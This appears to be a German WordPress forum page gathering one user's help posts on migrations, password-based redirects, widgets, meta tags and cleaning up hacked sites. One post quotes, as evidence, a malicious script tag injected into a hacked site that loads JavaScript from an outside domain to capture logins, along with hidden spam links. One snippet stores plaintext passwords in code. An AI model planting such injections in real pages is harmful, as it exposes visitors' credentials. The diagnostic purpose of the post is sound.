Beiträge von b3317133

Das Theme zu wechseln ist keine gute Idee auf einem Live Server.

Erstelle einen Klon/Duplikat der gesamten Installation auf einem oder auch mehreren Testserver(n) und nimm Veränderungen oder Themewechsel oder Neuaufbau zunächst dort vor.

Wenn es keinerlei Leute mit WordPress Erfahrung gibt, kontaktiere den ehem. Ersteller des Websites und lass Dir in Ruhe alles erklären. Oft gibt es die verschiedensten Gründe, warum etwas technisch so und nicht anders gelöst ist, die einem Anfänger aber nicht klar werden (können). Und gerade in Schulen sind dabei auch irgendwann getroffene Vereinbarungen mit irgendwelchen Arbeitsgruppen o.ä. zu beachten, was wo wie auf dem Website erscheinen soll.

Tipp bei so grossen Datenmengen:

Den Ordner /wp-content/uploads/ (oder ggf. auch nur einen Unterordner davon in dem sich die grössten Datenmengen befinden) beim Erstellen eines Migrationspakets ausnehmen (exclude) und nach erfolgtem Einspielen des Migrationspakets auf dem Zielserver dann diesen Ordner im Nachgang manuell per FTP umziehen.

Der Screenshot zeigt eine fehlgeschlagene Plugin Installation, was hat es damit auf sich? Ist genug Speicherplatz auf dem Server vorhanden?

Und bzgl. WordPress Update, hast Du schon die offizielle Dokumentation dazu gesehen?
https://wordpress.org/support/article/updating-wordpress/

Hinterlegte Passwörter in einer PHP-Datei können von Dritten nicht eingesehen werden, man kann aber natürlich auch einen lokal erzeugten Hash oder auch Hash mit Salt u.ä. davon vergleichen. So sieht der o.g. Ansatz dann z.B. als Plugin aus:

<?php
/*
Plugin Name: Passwort geschütze Weiterleitung für einzelne Kunden
Author: b3317133
Update URI: false
*/
function b3317133_login_form_postpass() {
    switch ( hash( 'sha256', $_POST['post_password'] ) ) {
    case '7992a6588b23077470a1b8761841afadffa2fccaa304cece903893ca401715b9':
        wp_redirect( 'https://example.com/kunde1/' ); exit;
    case '566e19571835f00e54d64be584961b7a0b153fc279c9245935c4c463ccf4d7f7':
        wp_redirect( 'https://example.com/kunde2/' ); exit;
    }
}
add_action( 'login_form_postpass', 'b3317133_login_form_postpass' );

Zur Info: Die WordPress Passwörter bei "Sichtbarkeit" der Seiten sind unverschlüsselt in der Datenbank hinterlegt.

Ein Ansatz mit einer von WordPress unter "Sichtbarkeit" mit irgendeinem beliebigen Passwort (damit das Eingabefeld erscheint) passwortgeschützten Seite und ein paar Zeilen Code:

function b3317133_login_form_postpass() {
    switch ( $_POST['post_password'] ) {
    case 'passwort1':
        wp_redirect( 'https://example.com/kunde1/' ); exit;
    case 'passwort2':
        wp_redirect( 'https://example.com/kunde2/' ); exit;
    }
}
add_action( 'login_form_postpass', 'b3317133_login_form_postpass' );

Ein Ansatz wäre z.B. sowas:

<input type="checkbox" onclick="document.getElementById('dl').disabled=!this.checked"> Datenschutz
<input id="dl" type="button" value="Download" disabled>

Du könntest ein Ticket bei den Entwicklern von WordPress erstellen, die lesen hier im Forum nicht mit.

Siehe oben:

Zitat von b3317133

Das allgemeine Vorgehen bei einem Hack ist z.B. hier beschrieben, das könntest Du mit jemandem mit WordPress Erfahrung bei Dir im näheren Umfeld zusammen durchgehen.

Dabei am Wichtigsten wäre, die für den Hack genutzte(n) Lücke(n) zu ermitteln, damit das nicht wieder passiert.

Jemand mit entsprechender WordPress Erfahrung kann selbstverständlich herausfinden, was sich wo eingenistet hat. Die Fähigkeit, Veränderungen gleichwelcher Art herausfinden zu können, wird jederzeit für jeden Website benötigt. Das ist eine elementare Grundlage.

Oft werden für Hacks Lücken in Themes/Plugins genutzt, für die es keine ausstehenden Updates (mehr) gibt. Nur weil keine Updates angezeigt werden, heisst das nicht, dass man ein aktuelles und sicheres System betreibt, das ist ein weit verbreiteter Trugschluss. Daher ist eine eingehende Analyse nötig. Alles andere ist halbherzig und nicht seriös.

Und natürlich ist die aktuelle Seite bei Bekanntwerden eines Hacks sofort abzuschalten:

Zitat von b3317133

Erneutes Aufrufen oder Einloggen in die alte gehackte Seite darf dabei nicht mehr möglich sein.

1. Am Wichtigsten wäre es, zunächst anhand der aktuell verseuchten Dateien, Datenbank und Server-Logs die für den/die Hack(s) genutzte(n) Lücke(n) zu ermitteln, damit das nicht wieder passiert.
2. Danach kann man entweder zusammen mit jemandem mit WordPress Erfahrung, die über das Installieren von "Sicherheits-Plugins" und dem Anklicken von Updates hinaus geht, die aktuelle Installation bereinigen oder unter Berücksichtigung der Erkenntnisse aus 1., also dem Weglassen von Theme, Plugins, externe Einbindungen, wasauchimmer die Lücke war, die Seite mit einem frischen WordPress neu aufbauen und die alten Beiträge/Seiten manuell direkt aus der Datenbank auslesen und unter eingehender Prüfung der Inhalte in die neue Seite einpflegen. Erneutes Aufrufen oder Einloggen in die alte gehackte Seite darf dabei nicht mehr möglich sein.

Siehe auch allgemeines Vorgehen bei einem Hack oben verlinkt.

In dem Fall versuche es zusätzlich zum Classic Widgets Plugin mit dem angegeben PHP-Code in der Elementor Hello Dokumentation bei How do I add the Widgets menu option?

Versuche es mit dem Plugin Classic Widgets.

Schau mal hier im Support Forum des Plugins.

Die Seite ist aktuell gehackt. Ganz zu Beginn des HTML Quelltextes wird ein bösartiges JavaScript (Virustotal.com) eingebunden, das den Login belauscht und dann ggf. auch z.B. auf andere Seiten weiterleitet:

<script src='https://print.legendarytable.com/news.js?v=6.3.2' type='text/javascript'></script><!DOCTYPE html>
<html dir="ltr" lang="de-DE"
    prefix="og: https://ogp.me/ns#" >
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<link rel="profile" href="http://gmpg.org/xfn/11">
...

Ganz am Ende des HTML Quelltextes werden Spam Links eingefügt:

...
<span style="display:block; font-size:0;height:0;">Charr vs. Oquendo canceled with deal unsigned <a href="http://uk-roids.com/" title="buy anabolic steroids uk online">buy anabolic steroids uk online</a> cash flow on steroids: why companies cheat
</span></body>
</html>

Von weiterem Befall an anderen Stellen ist auszugehen.

Das allgemeine Vorgehen bei einem Hack ist z.B. hier beschrieben, das könntest Du mit jemandem mit WordPress Erfahrung bei Dir im näheren Umfeld zusammen durchgehen.

Dabei am Wichtigsten wäre, die für den Hack genutzte(n) Lücke(n) zu ermitteln, damit das nicht wieder passiert.

Das macht man in den DNS-Einstellungen der Domain im Hosting (in Deinem Fall des Kunden), dort meist genannt A-Record o.ä. Der Hosting Support hilft sicher gerne weiter.

Der Code würde wie gewünscht funktionieren, wenn man alle im o.g. Beispiel genannten Überprüfungen der Ergebnisse der API-Aufrufe auch prüfen würde und nur dann den Meta Tag ausgibt, wenn alles passt. Zudem siehe Hinweis zu 'large' oben.

Verwende einfach direkt das eingestellte Beitragsbild, Beispiel hier, statt 'large' ggf. auch 'full' oder eine für Twitter passende Grösse.

Mit welcher genauen URL testest Du Deinen Code? Schau den HTML-Quelltext der getesteten URL an, evtl. wird Dein Code wegen der Bedingungen is_single() bzw. is_page() gar nicht ausgegeben. Derzeit kann man Deinen Code nicht testen, er ist offenbar nicht aktiv.

Zitat von rammler

Es wäre natürlich von Vorteil nur eine WP Installation zu haben.

In dem Fall wäre Dein Suchbegriff "WordPress mehrsprachig Domains" o.ä.

Zitat von rammler

Bei meiner Recherche bin ich "nur" auf Plugins gestoßen die zwar den Redirect machen, allerdings innerhalb der URL weiterleiten, ..

Auf welche Plugins genau? Evtl. kann man die anders einrichten? Oder damit als Workaround einen Order /ch/ anlegen und darin einen .htaccess Redirect zu .ch und umgekehrt. Oder generell eine .htaccess Weiche über den Accept-Language Header des Browsers. Es gibt viele Möglichkeiten.